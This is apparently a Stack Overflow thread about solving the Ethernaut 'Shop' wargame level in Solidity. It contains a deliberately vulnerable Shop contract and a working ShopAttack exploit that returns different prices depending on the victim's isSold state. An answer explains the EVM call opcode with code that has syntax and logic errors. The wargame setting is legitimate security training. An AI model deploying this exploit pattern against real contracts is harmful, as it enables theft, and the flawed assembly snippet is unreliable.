0

This would be the code, but my problem is, I was doing the ethernaut challenge for solidity, and my code is always running out of gas, then I think "if I use assembly it cost less gas", so I ran into a problem, it is possible to call a function getter from another contract in assembly?

This is my code:

pragma solidity ^0.6;
    
    interface Buyer {
      function price() external view returns (uint);
    }
    
    contract Shop {
      uint public price = 100;
      bool public isSold;
    
      function buy() public {
        Buyer _buyer = Buyer(msg.sender);
    
        if (_buyer.price.gas(3000)() >= price && !isSold) {
          isSold = true;
          price = _buyer.price.gas(3000)();
        }
      }
    }
    
    
    contract ShopAttack {
        Shop public challenge;
        
        constructor(Shop _challenge) public {
            challenge = Shop(_challenge);
        }
        
        function price() external view returns (uint) {
            assembly {
                let result
                
                switch sload(<calling challenge.isSold() from shop>)
                case 1 {
                    result := 99
                }
                default {
                    result := 100
                }
                
                mstore(0x0, result)
                return(0x0, 32)
            }
        }
    
      function attack() external {
        challenge.buy();
      }
Yilmaz
  • 35,338
  • 10
  • 157
  • 202
Wesler
  • 41
  • 7

2 Answers2

0
pragma solidity ^0.6;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price.gas(3000)() >= price && !isSold) {
      isSold = true;
      price = _buyer.price.gas(3000)();
    }
  }
}


contract ShopAttack {
    
    function price() external view returns (uint) {
    
    
        bool isSold = Shop(msg.sender).isSold(); 
        
        assembly {
            let result
            
            switch isSold
            case 1 {
                result := 99
            }
            default {
                result := 100
            }
            
            mstore(0x0, result)
            return(0x0, 32)
        }
    }

  function attack(Shop _victim) external {
    Shop(_victim).buy();
  }
}

I solved by calling first the method of the function to get the boolean !

Wesler
  • 41
  • 7
0

with call opcode you can call the functions in contract. here is the signature of call:

     call(g, a, v, in, insize, out, outsize)

g: amount of gas being sent,

a: address of the target contract,

v: amount of Ether being sent in wei,

in: starting memory location containing the data to be sent to the EVM (which comprises the method signature and its parameter values). you would be storing parameter in slot inside assembly code

insize: size of data being sent in the hexadecimal format

out: starting memory location that should store the return data from the call

outsize: is the size of return data in hexadecimal format.

contract ShopAttack {
        Shop public challenge;
        
        constructor(Shop _challenge) public {
            challenge = Shop(_challenge);
        }
        // you need this to call a contract function
        bytes4 functionSignature = bytes4(keccak256("isSold()"));
        
        function price() external view returns (uint returnFromAssembly) {
            assembly {
                let availablePointer := mload(0x40)
                // function signature is 4 bytes
                mstore(availablePointer,functionSignature)
                // if there are more variables you could add here . each variable would take 32 bytes
                // mstore(add(freePointer,0x04),firstVal)
                let success := call(
                                    100000,
                                    challenge,
                                    0,
                                    availablePointer,
                                    // since we added only function signature which has 4 bytes and pass its hex value
                                    0x4,
                                    availablePointer,
                                    // This function call should store the return value at the 0x40 memory location and its length is 32 bytes
                                    // in hex 32 is 0x20
                                    0x20))
                returnFromAssembly:=mload(availablePointer)
            }
        }
Yilmaz
  • 35,338
  • 10
  • 157
  • 202